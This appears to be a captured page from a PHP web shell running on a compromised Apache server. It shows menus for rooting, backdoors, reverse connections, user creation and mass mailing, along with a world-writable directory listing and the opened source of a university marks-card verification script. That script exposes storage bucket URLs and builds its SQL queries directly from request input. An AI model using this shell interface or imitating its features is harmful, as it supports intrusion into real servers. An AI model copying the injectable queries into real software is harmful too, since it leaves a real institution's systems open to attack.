Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.144.86.78
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ibm /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
phpmailer
[ DIR ]
drwxrwxrwx
.htaccess
602
B
-rwxr-xr-x
ApplicationReport.php
11.81
KB
-rwxrwxrwx
CreateUser.php
5.23
KB
-rwxrwxrwx
appForm.php
23.31
KB
-rwxrwxrwx
applicationFormReportPOSTOFFIC...
19.32
KB
-rwxrwxrwx
applicationStatus.php
6.84
KB
-rwxrwxrwx
applicationStatus_31012018.php
2.94
KB
-rwxrwxrwx
cManualMailer.php
1.52
KB
-rwxrwxrwx
caccesscontext.php
1.24
KB
-rwxrwxrwx
candidate_list.php
54.71
KB
-rwxrwxrwx
cappcontext.php
2.66
KB
-rwxrwxrwx
ceckFile.php
1.12
KB
-rwxrwxrwx
cmailer.php
6.83
KB
-rwxrwxrwx
code39.php
6.38
KB
-rwxrwxrwx
coutput.php
1.76
KB
-rwxrwxrwx
crequestbroker.php
2.49
KB
-rwxrwxrwx
csessions.php
514
B
-rwxrwxrwx
cuser.php
3.41
KB
-rwxrwxrwx
customappcontext.php
2.35
KB
-rwxrwxrwx
download.php
5.65
KB
-rwxrwxrwx
dropdown.php
844
B
-rwxrwxrwx
everifyMc.php
6.36
KB
-rwxrwxrwx
feehead.php
1.51
KB
-rwxrwxrwx
format.php
7.43
KB
-rwxrwxrwx
fpdf_protection.php
5.61
KB
-rwxrwxrwx
getdata.php
1.06
KB
-rwxrwxrwx
getnumword.php
7.15
KB
-rwxrwxrwx
home.html
14.48
KB
-rwxrwxrwx
json.php
33.2
KB
-rwxrwxrwx
login.php
1.88
KB
-rwxrwxrwx
mc-verify.php
6.65
KB
-rwxrwxrwx
mregistry.php
4.55
KB
-rwxrwxrwx
mregistry_31012018.php
2.65
KB
-rwxrwxrwx
report_appstatus.php
6.42
KB
-rwxrwxrwx
report_verificationlist.php
4.99
KB
-rwxrwxrwx
reportapplicationform.php
19.59
KB
-rwxrwxrwx
reportapplicationform_old.php
28
KB
-rwxrwxrwx
rotation.php
596
B
-rwxrwxrwx
sendGridMail.php
1.29
KB
-rwxrwxrwx
servfee.php
1.38
KB
-rwxrwxrwx
servicedet.php
1.6
KB
-rwxrwxrwx
stringspliter.php
693
B
-rwxrwxrwx
student.php
25.37
KB
-rwxrwxrwx
verifiedlistReport.php
7
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : everifyMc.php
<?php // require_once(__DIR__."/../../aws/aws-autoloader.php"); require_once(__DIR__."/../../bcu/tcpdf/tcpdf.php"); // use Aws\S3\S3Client; // use Aws\S3\Exception\S3Exception; require_once("ceckFile.php"); function everifyMC($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $regno = trim($aobj_context->mobj_data["fregno"]); $sem = trim($aobj_context->mobj_data["sem"]); $univcode = trim($aobj_context->mobj_data["univcode"]); $appno = trim($aobj_context->mobj_data["appno"]); $upd = "update servdoc set fdownload = 'T', fdownloaddate = now() where fappno = '{$appno}' and fsem = '{$sem}'"; $result = $aobj_context->mobj_db->Execute($upd); $upd = "select date_format(ifnull(fverifydate,now()),'%d/%m/%Y') as fvdate from servtran where fappno = '{$appno}'"; $result = $aobj_context->mobj_db->GetRow($upd); $vdate = $result['fvdate']; $doc = checkDocument($univcode, $regno, $sem); // var_dump($doc); $key = $doc[0]; $bucket_url = 'https://kuvempu-university-marks-card-verification.s3.ap-south-1.amazonaws.com/'; $doc_url = $bucket_url.$key; $im = new imagick(); $im->setResolution(150,150); $im->readImage($doc_url); $im->setImageFormat('jpeg'); // header('Content-Type: image/jpeg'); // echo $im; // var_dump($im); $filePath = tempnam(sys_get_temp_dir(), rand(10,15)); $im->setImageCompression(imagick::COMPRESSION_JPEG); $im->setImageCompressionQuality(80); $im->writeImage ($filePath); $im->clear(); $im->destroy(); $pdf = new TCPDF('P'); $pdf->SetMargins(0, 0); // $pdf->startPageGroup(); $pdf->AddPage("P"); $pdf->SetFont('Times', '', 10); // $pdf->Image($filePath, 0, 0, 250, 500); // get the current page break margin $bMargin = $pdf->getBreakMargin(); // get current auto-page-break mode $auto_page_break = $pdf->getAutoPageBreak(); // disable auto-page-break $pdf->SetAutoPageBreak(false, 0); // set bacground image $pdf->Image($filePath, 0, 0, 210, 297, '', '', '', false, 300, '', false, false, 0); // restore auto-page-break status $pdf->SetAutoPageBreak($auto_page_break, $bMargin); // set the starting point for the page content $pdf->setPageMark(); // $pdf->SetAutoPageBreak(false, 0); $pdf->setY(250); $pdf->setX(50); date_default_timezone_set('Asia/Kolkata'); $html = '<div style="background-color:#fff; rotation: 45deg; border: 1.5px solid green;border-radius: 3px;padding: 5px;color:#000080;text-align:center;font-weight:bold;font-size:10px;"> <img src="http://oasis.logisys.org/kus/img/logoh.jpg" width="132" /> <span> This document is <br/> electronically verified and found GENUINE </span> <br/> <img src="http://oasis.logisys.org/kus/img/controler_sign.jpg" width="40" /> <br/> <span>Date: '.$vdate.' Reg.(Eval)</span> </div>'; $pdf->StartTransform(); $pdf->Rotate(20, 130, 0); $pdf->writeHTMLCell($w=50, $h=40, $x = 0, $y= 0, $html, $border=0, $ln=0, $fill=0, $reseth=true, $align='', $autopadding=false); // $pdf->writeHTML($html, true, false, true, false, ''); $pdf->StopTransform(); $pdf->Output("GenuineCertificate.pdf", "I"); } function everifyUserDoc($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $filenm = trim($aobj_context->mobj_data["filenm"]); $univcode = trim($aobj_context->mobj_data["univcode"]); $sem = trim($aobj_context->mobj_data["sem"]); $appno = trim($aobj_context->mobj_data["appno"]); // $doc = checkDocument($univcode, $regno, $sem); // var_dump($doc); $key = $univcode.'/stud_upd/'.$filenm; $bucket_url = 'https://university-marks-cards.s3.ap-south-1.amazonaws.com/'; $upd = "update servdoc set fdownload = 'T', fdownloaddate = now() where fappno = '{$appno}' and fsem = '{$sem}'"; $result = $aobj_context->mobj_db->Execute($upd); $upd = "select date_format(ifnull(fverifydate,now()),'%d/%m/%Y') as fvdate from servtran where fappno = '{$appno}'"; $result = $aobj_context->mobj_db->GetRow($upd); $vdate = $result['fvdate']; $today = date("d/m/Y h:i:s"); $doc_url = $bucket_url.$key; $im = new imagick(); $im->setResolution(100,100); // $im->setSize(200,300); $im->readImage($doc_url); $im->setImageFormat('jpeg'); // header('Content-Type: image/jpeg'); // echo $im; // var_dump($im); $filePath = tempnam(sys_get_temp_dir(), rand(10,15)); $im->setImageCompression(imagick::COMPRESSION_JPEG); $im->setImageCompressionQuality(100); $im->writeImage ($filePath); $im->clear(); $im->destroy(); $pdf = new TCPDF('P'); $pdf->SetMargins(0, 0); // $pdf->startPageGroup(); $pdf->AddPage("P"); $pdf->SetFont('Times', '', 10); // $pdf->Image($filePath, 0, 0, 250, 500); // get the current page break margin $bMargin = $pdf->getBreakMargin(); // get current auto-page-break mode $auto_page_break = $pdf->getAutoPageBreak(); // disable auto-page-break $pdf->SetAutoPageBreak(false, 0); // set bacground image $pdf->Image($filePath, 0, 0, 210, 297, '', '', '', false, 300, '', false, false, 0); // restore auto-page-break status $pdf->SetAutoPageBreak($auto_page_break, $bMargin); // set the starting point for the page content $pdf->setPageMark(); // $pdf->SetAutoPageBreak(false, 0); $pdf->setY(250); // $pdf->setY(10); $pdf->setX(50); date_default_timezone_set('Asia/Kolkata'); $html = '<div style="background-color:#fff; rotation: 45deg; border: 1.5px solid green;border-radius: 3px;padding: 5px;color:#000080;text-align:center;font-weight:bold;font-size:10px;"> <img src="http://oasis.logisys.org/kus/img/logoh.jpg" width="132" /> <span> This document is <br/> electronically verified and found GENUINE </span> <br/> <img src="http://oasis.logisys.org/kus/img/controler_sign.jpg" width="40" /> <br/> <span > <span style="font-size:6px;text-align:left;">Verified On: '.$vdate.'</span> Reg.(Eval) </span> <br/> <span style="font-size:8px;"> Printed On: '.$today.'</span> </div>'; $pdf->StartTransform(); $pdf->Rotate(20); $pdf->writeHTMLCell($w=50, $h=40, $x = 35, $y= 235, $html, $border=0, $ln=0, $fill=0, $reseth=true, $align='', $autopadding=false); // $pdf->writeHTML($html, true, false, true, false, ''); $pdf->StopTransform(); $pdf->Output("GenuineCertificate.pdf", "I"); } ?>
Close